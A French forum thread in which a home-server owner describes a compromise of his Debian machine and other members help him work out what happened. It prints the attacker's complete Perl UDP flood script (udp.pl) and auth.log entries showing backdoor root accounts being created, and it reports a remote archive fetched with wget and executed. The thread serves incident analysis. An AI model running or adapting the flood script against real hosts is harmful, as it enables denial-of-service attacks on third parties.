Mon Debian piraté mais à quel point?

Bonjour,
hier j’ai été piraté je ne sais pas comment ni ce qui a pu être fait sur la machine.

J’ai une machine qui tourne avec debian (3.2.0-4-amd64 #1 SMP Debian 3.2.63-2+deb7u2 x86_64 GNU/Linux).
Elle fait serveur de fichier avec samba, serveur multimédia avec xbmc, serveur de son avec mpd et héberge 2 machines virtuelles headless avec virtualBox fonctionnant aussi avec un debian recent.
Une de ces machines virtuelle fait serveur de mail et l’autre serveur web.
Aucune redirection de port n’existe vers le PC hôte mais des redirection vers les machines virtuelles.

J’ai eu des soucis de connexion hier me laissant penser que c’était mon modem qu’était mort et j’ai pensé que la lenteur des connexions vers le serveur était dues au problème de modem sans bien comprendre pourquoi (j’avais autre chose à faire à ce moment là).

Ce matin, n’arrivant pas à me connecter au serveur (en fait j’avais débranché un cable en trifouillant le modem) j’ai allumé le téléviseur et eu la surprise d’avoir le terminal ouvert avec un programme exécuté et root (voir plus loin udp.pl) et un message de debian comme quoi “/usr/bin/x-terminal-emulator disposait des privilèges root sans mot de passe et que ce n’était pas un problème de sécurité mais que c’était bien que je le sache”.

Voici le programme en question:

[code]#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
printf “$0 \n”;
printf “for any info vizit http://hacking.3xforum.ro/ \n”;
exit(1);
}

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

printf “Amu Floodez $ip pe portu $port \n”;
printf “daca nu pica in 10 min dai pe alt port \n”;

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}

packets:
for (;:wink: {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;:wink: {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}[/code]
udp.pl a été ramené dans /tmp, décompressé et exécuté avec la commande

J’ai regardé dans les journaux mais n’ai pas trouvé grand chose sauf dans /var/log/auth.log

Dec 21 17:32:05 cqgserv su[25386]: Successful su for root by cqg Dec 21 17:32:05 cqgserv su[25386]: + /dev/pts/0 cqg:root Dec 21 17:32:05 cqgserv su[25386]: pam_unix(su:session): session opened for user root by (uid=1000) Dec 21 17:32:05 cqgserv dbus[2931]: [system] Rejected send message, 2 matched rules; type="method_call", sender=":1.48" (uid=1000 pid=4013 comm="/usr/bin/gnome-shell ") interface="org.freedesktop.DBus.Properties" member="GetAll" error name="(unset)" requested_reply="0" destination=":1.12" (uid=0 pid=3593 comm="/usr/sbin/console-kit-daemon --no-daemon ") Dec 21 17:32:58 cqgserv useradd[25455]: new group: name=axel, GID=1001 Dec 21 17:32:58 cqgserv useradd[25455]: new user: name=axel, UID=0, GID=1001, home=/home/axel, shell=/bin/sh Dec 21 17:33:27 cqgserv useradd[25463]: failed adding user 'axel', data deleted Dec 21 17:35:01 cqgserv CRON[25478]: pam_unix(cron:session): session opened for user cqg by (uid=0) Dec 21 17:35:01 cqgserv CRON[25478]: pam_unix(cron:session): session closed for user cqg Dec 21 17:36:13 cqgserv useradd[25493]: new user: name=drog, UID=0, GID=0, home=/home/drog, shell=/bin/sh Dec 21 17:37:06 cqgserv passwd[25498]: pam_unix(passwd:chauthtok): password changed for drog Dec 21 17:37:06 cqgserv passwd[25498]: gkr-pam: couldn't update the login keyring password: no old password was entered Dec 21 17:37:17 cqgserv su[25386]: pam_unix(su:session): session closed for user root Dec 21 17:38:29 cqgserv su[25514]: Successful su for root by cqg Dec 21 17:38:29 cqgserv su[25514]: + /dev/pts/0 cqg:root Dec 21 17:38:29 cqgserv su[25514]: pam_unix(su:session): session opened for user root by (uid=1000) Dec 21 17:38:29 cqgserv dbus[2931]: [system] Rejected send message, 2 matched rules; type="method_call", sender=":1.48" (uid=1000 pid=4013 comm="/usr/bin/gnome-shell ") interface="org.freedesktop.DBus.Properties" member="GetAll" error name="(unset)" requested_reply="0" destination=":1.12" (uid=0 pid=3593 comm="/usr/sbin/console-kit-daemon --no-daemon ") Dec 21 17:38:40 cqgserv passwd[25574]: pam_unix(passwd:chauthtok): password changed for drog Dec 21 17:38:40 cqgserv passwd[25574]: gkr-pam: couldn't update the login keyring password: no old password was entered Dec 21 17:39:10 cqgserv passwd[25575]: pam_unix(passwd:chauthtok): password changed for drog Dec 21 17:39:10 cqgserv passwd[25575]: gkr-pam: couldn't update the login keyring password: no old password was entered Dec 21 17:40:01 cqgserv CRON[25579]: pam_unix(cron:session): session opened for user cqg by (uid=0) Dec 21 17:40:01 cqgserv CRON[25579]: pam_unix(cron:session): session closed for user cqg Dec 21 17:40:39 cqgserv passwd[25596]: pam_unix(passwd:chauthtok): password changed for root Dec 21 17:40:39 cqgserv passwd[25596]: gkr-pam: couldn't update the login keyring password: no old password was entered
cqg est le nom d’utilisateur courant et il est vrai que le mot de passe pour cqg et pour root sont les mêmes et sont très faibles (3 lettres minuscules).

Qu’a donc pu faire le pirate avec ce fichier udp.pl?
Et comment a-t-il pu rentrer sur le PC?

Si vous êtes intéressé par donner un peu de votre temps pour répondre à mes questions et en savoir plus, je suis bien sûr prêt à vous donner les informations dont vous aurez besoin.
Merci pour votre aide.

EDIT
Derriere le modem il y a un routeur Netgear R7000, ce routeur peut-il avoir un soucis de sécurité?

Si tu as une sauvegarde avant ta compromission, il est temps de restaurer et d’éditer tes fichiers [mono]/etc/passwd[/mono] pour renforcer les mots de passe.

debian.org/doc/manuals/debi … 04.fr.html

Merci pour ta réponse.
Pour l’instant tout est arrêté et si je n’ai pas plus d’infos, dans le doute, je réinstalle le système (mais avec des vrais mdp cette fois).
Les machines virtuelles, par contre, sont blindées par des mdp costauds et je ne me connecte que par ssh avec authentification par clés.

Ce qui me perturbe c’est que l’on ai pu accéder à cette machine sans qu’il n’y ai de redirection de port niveau routeur.

Coté netgear, il me semble avoir souvenir d’un problème de sécurité, mais impossible de le retrouver.
Un truc s’en approchant: redeszone.net/2014/08/15/des … omesticos/
en tout cas, assure toi que son firmware est à jour, et change évidement le mot de passe par défaut.
La compromission n’aurait elle pas pu arrivée par le LAN via une autre machine compromise ?

Quelles soient blindées ou non ça ne change rien. Ta machine hôte a été compromise donc tu dois partir du principe que tes VM aussi. Si je rentre chez toi, même si ton PC est blindé avec des mots de passe fort ou même par ID je pourrais toujours compromettre ta machine facilement.
Désolé de te casser ton enthousiasme mais le seule chose que tu puisse récupérer sur tes machines sont les fichiers de conf que tu as relu :unamused:

Encore un coup des roumains : hacking.3xforum.ro

Plus d’infos ici : rstforums.com/forum/forum.php

Plusieurs choses bizarres.

Tout d’abord le programme en question envois des paquets UDP pour écrouler une machine cible, ici c’est une machine en roumanie, sur des ports aléatoires. Vu le programme, il était évident que le gars ne pen sait pas passer inaperçu.

Il y a eu un utilisateur drog crée, est-ce toi qui l’a fait?

Par ailleurs, le gars est passé en root via su, je pense à la suite d’un «sudo su» avec le même mot de passe que cqg (pass cqg, gqc, drh, …?) Si c’est le cas ça me confirme que sudo est catastrophique comme outil de gestion et doit rester à sa fonction premières: déléguer des taches précises et bordées à des utilisateurs précis.

Epluches les logs de tes différents services y compris ceux des machines virtuelles.

Fais une image de ta partition telle qu’elle est, réinstalle consciencieusement ta machine (sur un autre disque), puis tu chercheras à rétablir le scénario après. Regardes les fichiers .bash_history de root et des utilisateurs, on les oublie souvent.

Comment cela se fait-il qu’il y ait un accès graphique à une console.

Merci beaucoup pour vos réponses.

J’ai contrôlé les machines virtuelles et visiblement il n’y a rien de particulier au niveau des connexiosn et les .bash_history (excellent outil) n’indiquent rien d’anormal.

fran.b a dit:[quote]
Comment cela se fait-il qu’il y ait un accès graphique à une console.[/quote]
J’ai effectivement oublié de dire que la machine disposait d’un serveur ssh et VNC.
Avec .bash_history j’ai vu qu’un autre programme a été exécuté, un peu plus gros et dont l’utilité semble moins évidente:
récupéré avec wget www.csservers.ro/csservers_redirecte_linux_hlds_dp.tar.gz
Décompressé puis exécuté avec start.

L’utilisateur drog n’est pas de mon fait, il y a aussi un utilisateur alex qui a été créé mais je ne vois pas ce qui a été fait avec ces utilisateurs car pas d’autres traces.

Le gars est passé en root avec un su simplement, je pense, car sudo ne fonctionne pas (ou je ne sais pas l’utiliser sur debian).

Quant à upd.perl, c’est effectivement un programme de surcharge.

Pour répondre à piratebab, les autres machines tournant sur le réseau sont os x, ios, android, des debian de la même version, un WDTV et il y avait effectivement un windows 7 à ce moment là mais il n’est utilisé que pour jouer, tous les logiciels installés le sont avec précaution, ils sont tous téléchargés sur les sites des éditeurs et il n’y a jamais eu de crack ou autre truc du genre exécuté. Pour moi cette machine est saine mais je vais quand même regarder les journaux.
Par contre j’ai récupéré une tablette android bon marché (cadeau du comité d’entreprise) avec des logiciels ajoutés (par le vendeur pour personnalisation avec logo de la société…) dont au moins une saloperie car il y a une popup marquée facebook qui s’ouvre (et qui n’est même pas facebook car si on clic cela ouvre des pages web commerciales).

J’ai cherché d’où pouvait venir la connexion d’origine mais n’est rien trouvé si ce n’est pts/0 pour cqg puis /1 pour root, ce qui, si j’ai bien compris, est une console graphique et n’apporte pas plus d’info.
Je n’ai pas trouvé les journaux de vinoserver, j’ai l’impression qu’il n’y en a pas.

Je n’ai pas d’autre disque pour réinstaller mais j’ai une sauvegarde du lendemain matin contenant /var, /etc, /usr, /run et /root.
Je pense que j’aurais donc tous les éléments nécessaires pour mes recherches ou manque-t-il quelque chose (le home est sur une autre partition)?

En tout cas, merci du temps que vous me donnez.
Je vais continuer à chercher tranquillement mais avec les fêtes c’est délicat. Je ne manquerai pas de compléter ce post avec des informations pertinentes (si j’en trouve).

Je te conseille une image de la partition, tu peux retrouver des historiques. Tu peux charger le paquet
boisson.homeip.net/depot/pool/wh … _amd64.deb

ou

boisson.homeip.net/depot/pool/et … 2_i386.deb

puis tu fais par exemple

Ça va rechercher dans le disque /dev/sda6 toutes les chaines de la forme «tar xzfgz» ( remplace n’importe quoi) et crée un fichier de longueur 2 blocs (1K) avec le bloc trouvé. Tu pourras sans doute récupérer l’historique des actions du gars.

(C’est un programme en statique donc même sous wheezy, le paquet etch fonctionnera).

Le paquet installé ressemble à un serveur Counter Strike,

Merci pour la méthode.
Je vais créer une image de la partoche avec dd sur un vieux HDD en bon état.
Puis je reinstalle un debian (je pensais passer à arch mais ce sera pour plus tard) avec tout mon bordel, et des vrais mdp.
Alors je prendrai le temps de regarder avec l’outil helpdelete que je suis pressé de découvrir.

Oh, c’est un utilitaire que j’avais fait en 2008 pour récupérer des mails importants effacés par mégarde, il s’avère très pratique et fo,nctionne aussi sur une image disque.

Histoire intéressante.
Tes serveurs hébergent des données sensibles ? Ou bien c’est une attaque au hasard.

J’aurai aimer savoir combien de temps ils ont mis pour casser ton mot de passe ? Combien de tentative avant de trouver ? Ca doit être dans le /var/log/auth.log

Le serveur n’héberge pas de données sensibles mais du multimédia et quelques documents sans intérêt.
Les VM par contre possèdent des données relativement sensibles comme des adresses de connexion avec login et mot de passe mais aussi des boîtes email (jusqu’à aujourd’hui j’étais le seul à connaître leur existence) et je ne vois pas trop ce qu’un pirate pourrait tirer de ces infos.
Les VM sont bien protégées, les données sont cryptées, les mots de passe pas rigolo et je n’y accède que par réseau local.

Visiblement l’attaque n’était pas dirigée contre mes machines.
Les commandes exécutées ont servi à ramener le csservers et lancer l’attaque contre le serveur roumain, le seul ls exécuté l’a été dans le dossier csservers.
D’après ce que je vois le mot de passe a été trouvé du premier coup (voir l’extrait de auth.log posté au début du fil), il faut dire qu’il était parfaitement ridicule, j’ai utilisé ça pour l’installation du système et ne l’ai pas changé par la suite.
Les commandes qui auraient pu m’échapper auraient été exécutées avec les utilisateurs drog ou axel mais ceux-ci ont été supprimé très peu de temps après avoir été créé et cela n’a pas de sens en ayant accès à root.

Vu que des commandes ont été saisies sur console graphique, l’intrus a du utiliser VNC qui acceptait la connexion sans mot de passe.
C’est pas super comme sécurité mais vu qu’il n’y avait rien d’ouvert sur le WAN je me pensais protégé par le routeur et je n’ai toujours pas trouvé par où le pirate est passé. Ni par quelle machine, ni avec quel programme.

@fran.b
J’ai commencé à utiliser helpdelete mais c’est super long et j’avoue que je ne sais pas trop quoi chercher.
En attendant je me console avec du flan aux noix de coco :wink:

Bon… j’ai retrouvé des traces de la connexion dans .xsession-errors mais rien d’autre.
J’ai pensé à un problème lié à xbmc qui n’était pas à jour et que j’ai exécuté peu avant mais n’est rien trouvé de concret dans les journaux.
Un ami m’a parlé de dépassement de buffer, de programme pas à jour et de magicien qui suit des paquets…
Bref, je ne pense pas que la connexion ai été réalisée par une autre machine de mon réseau et que la faille exploitée finalement est la pauvreté des mots de passe utilisés.

Encore merci pour vos réponses.

:006

Si tu estimes ton sujet résolu tu peux cliquer le sujet reste ouvert.

Lut,
Petit point important, les bash_history comme les logs ça s’efface ou s’altere assez facilement, tu ne peux pas leur faire pleinement confiance.
Sinon histoire de faire avancer le truc, tu as une IPv6 publique?

++

Pas d’IPV6 chez moi :slightly_smiling:
Le sujet est pas tout à fait résolu car je n’ai pas pris le temps de chercher tous les éléments possible mais il y a parmi vos réponses de bonnes pistes à suivre.